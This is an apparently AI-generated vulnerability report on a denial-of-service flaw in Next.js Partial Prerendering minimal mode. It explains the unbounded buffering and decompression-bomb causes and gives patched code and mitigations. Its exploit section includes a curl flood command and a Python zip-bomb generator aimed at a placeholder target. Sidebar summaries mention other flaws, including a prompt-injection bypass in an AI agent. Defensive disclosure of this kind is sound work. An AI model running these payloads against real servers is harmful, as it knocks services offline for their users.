CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-59472

Next.js PPR: When 'Minimal Mode' Maximizes Your Downtime

Alon Barad
Alon Barad
Software Engineer

Jan 28, 2026·6 min read·81 visits

Executive Summary (TL;DR)

Next.js 'minimal mode' with PPR enabled listened to resume requests without size limits. Attackers could send massive payloads or zipbombs, causing the Node.js process to run out of memory and crash instantly.

A Denial of Service (DoS) vulnerability exists in Next.js versions utilizing Partial Prerendering (PPR) in 'minimal mode'. An unauthenticated attacker can exploit the 'resume' endpoint by sending an unbounded or maliciously compressed POST body, leading to a heap out-of-memory (OOM) crash via either unchecked buffer concatenation or a decompression bomb.

The Hook: The Shiny New Hammer

In the relentless pursuit of faster First Contentful Paints (FCP), Next.js introduced Partial Prerendering (PPR). It's a clever hybrid model where a static shell is served immediately, and the dynamic bits are streamed in later. To make this magic work across distributed systems (like Vercel's own infrastructure or complex container setups), there's a configuration flag called Minimal Mode (NEXT_PRIVATE_MINIMAL_MODE).

When this mode is active, the Next.js server acts a bit differently. It expects to be part of a relay race, receiving a 'postponed state' from a previous hop to resume rendering. It exposes a mechanism to accept this state via a POST request.

Here's the kicker: The developers assumed that these POST requests would come from trusted internal infrastructure or a well-behaved proxy. But as any security researcher knows, assumptions are the mother of all exploits. The endpoint handling these resume requests didn't just trust the source; it trusted the size of the data implicitly. That's like agreeing to eat whatever someone puts on your plate without asking if it's a 12oz steak or a whole cow.

The Flaw: The Glutton and the Bomb

The vulnerability stems from a classic violation of the 'Never Trust User Input' commandment, specifically regarding resource allocation. The flaw manifests in two distinct but equally deadly ways within the base-server.ts logic.

Vector A: The Glutton (Unbounded Buffering) When the server sees the Next-Resume: 1 header, it starts listening to the request stream. In the vulnerable versions, it simply pushed every chunk of data it received into an array and then attempted to merge them using Buffer.concat(). There was no brake pedal. If you sent 4GB of data, the server allocated memory for 4GB of data. In V8 (the JavaScript engine powering Node.js), the heap has a hard limit. Cross that line, and the process commits seppuku.

Vector B: The Zipbomb (Decompression) It gets worse. This postponed state is usually compressed to save bandwidth. The server used zlib.inflateSync() to unpack it. The keyword here is Sync. Not only does this block the event loop, but the implementation also lacked a maxOutputLength. An attacker could send a tiny, valid 1MB gzip payload that expands into gigabytes of zeros. The server blindly attempts to allocate memory for the uncompressed result, triggering an instant OOM crash before the upload even finishes.

The Code: Autopsy of a Crash

Let's look at the smoking gun in base-server.ts. This is the code that blindly accepted the resume data.

The Vulnerable Code:

// The "Before" Logic
if (req.headers['next-resume'] === '1') {
  const body = []
  req.on('data', (chunk) => {
    body.push(chunk) // <--- No size check!
  })
  req.on('end', () => {
    const buffer = Buffer.concat(body) // <--- Fatal OOM happens here
    // ... proceed to unzip without limits
  })
}

The Fix (Next.js 16.1.5):

The patch introduces a strict diet. They implemented a size counter that increments with every chunk. If the accumulator exceeds the new experimental.maxPostponedStateSize (default 10MB), the server immediately bails with a 413 error.

// The "After" Logic
let receivedSize = 0
const MAX_SIZE = 10 * 1024 * 1024; // 10MB default
 
req.on('data', (chunk) => {
  receivedSize += chunk.length
  if (receivedSize > MAX_SIZE) {
    // Abort request immediately
    res.statusCode = 413
    res.end('Payload Too Large')
    return
  }
  body.push(chunk)
})

Furthermore, for the decompression vector, they wrapped the inflate call to ensure the output size doesn't exceed a multiplier (5x) of the input size. This kills the zipbomb dead.

The Exploit: Crashing the Party

Exploiting this is trivially easy if you can reach a Next.js instance running in minimal mode with PPR. You don't need authentication. You don't need a user account. You just need curl.

Scenario 1: The Raw Flood If you have a fast uplink, you can just pour data into the socket until the server dies.

# Generate a 2GB file of garbage
dd if=/dev/urandom of=doom.bin bs=1M count=2048
 
# Send it with the magic header
curl -X POST \
  -H "Next-Resume: 1" \
  --data-binary @doom.bin \
  https://target-nextjs-app.com/any-route

Scenario 2: The Silent Assassin (Zipbomb) This is more elegant. We create a highly compressed payload that fits in a standard request but explodes in memory. This bypasses typical WAF/Proxy body size limits (which might cap requests at 10MB) because the compressed payload is small.

# generate_bomb.py
import zlib
# Create a string of 1GB of 'A's
payload = b'A' * (1024 * 1024 * 1024)
# Compress it
compressed = zlib.compress(payload)
# Write to file (result is approx 1MB)
with open('bomb.gz', 'wb') as f:
    f.write(compressed)

When the server receives bomb.gz, zlib.inflateSync tries to allocate the full 1GB contiguous string on the heap. Game over.

The Impact: Why Should We Panic?

This is a high-impact Availability vulnerability (The 'A' in CIA triad). While it doesn't leak data (Confidentiality) or allow code modification (Integrity), it allows a single malicious actor to take down an entire rendering fleet.

In a containerized environment (like Kubernetes), the pod will crash. The orchestrator will restart it. The attacker sends another request. The pod crashes again. This creates a CrashLoopBackOff scenario, effectively taking the service offline permanently as long as the attack persists.

For serverless environments, the impact is financial and operational. You are paying for the compute time to process these massive blobs right up until the crash, and the resulting cold starts will degrade performance for legitimate users. It's a remarkably cheap attack to execute with expensive consequences for the defender.

The Fix: Putting the Genie Back in the Bottle

The remediation is straightforward: Update Next.js. The patch was backported, so you have options depending on your major version.

Patch Levels:

  • Next.js 16: Update to v16.1.5 or later.
  • Next.js 15: Update to v15.6.0-canary.61 or later.

If you cannot upgrade immediately, your options are limited but effective:

  1. Disable Minimal Mode: If you aren't strictly required to use NEXT_PRIVATE_MINIMAL_MODE=1 (e.g., you aren't running on a specific provider that mandates it), turn it off. The vulnerable code path is gated behind this environment variable.
  2. WAF Filtering: Configure your Web Application Firewall to drop any POST request containing the Next-Resume header if it comes from the public internet. This header should essentially only ever originate from trusted internal infrastructure.

Technical Appendix

CVSS Score
5.9/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.04%
Top 88% most exploited

Affected Systems

Next.js 15.x < 15.6.0-canary.61Next.js 16.x < 16.1.5

Affected Versions Detail

Product
Affected Versions
Fixed Version
Next.js
Vercel
15.0.0 - 15.6.0-canary.6015.6.0-canary.61
Next.js
Vercel
16.0.0 - 16.1.416.1.5
AttributeDetail
CWE IDCWE-400 (Uncontrolled Resource Consumption)
Attack VectorNetwork (POST Request)
CVSS5.9 (Medium)
ImpactDenial of Service (OOM Crash)
EPSS Score0.0004
Vulnerable ConfigMinimal Mode + PPR

MITRE ATT&CK Mapping

T1499.003Endpoint Denial of Service: Application or System Exploitation
Impact
T1499Endpoint Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

Vulnerability Timeline

Fix committed to Next.js repository
2026-01-07
CVE Published
2026-01-26
Next.js 16.1.5 released
2026-01-26

References & Sources

  • [1]GitHub Security Advisory GHSA-5f7q-jpqc-wp7h
  • [2]NIST NVD Entry

More Reports

•2 days ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
25 views•6 min read
•3 days ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
11 views•5 min read
•4 days ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
20 views•6 min read
•4 days ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
5 views•6 min read
•4 days ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
34 views•7 min read
•4 days ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
3 views•6 min read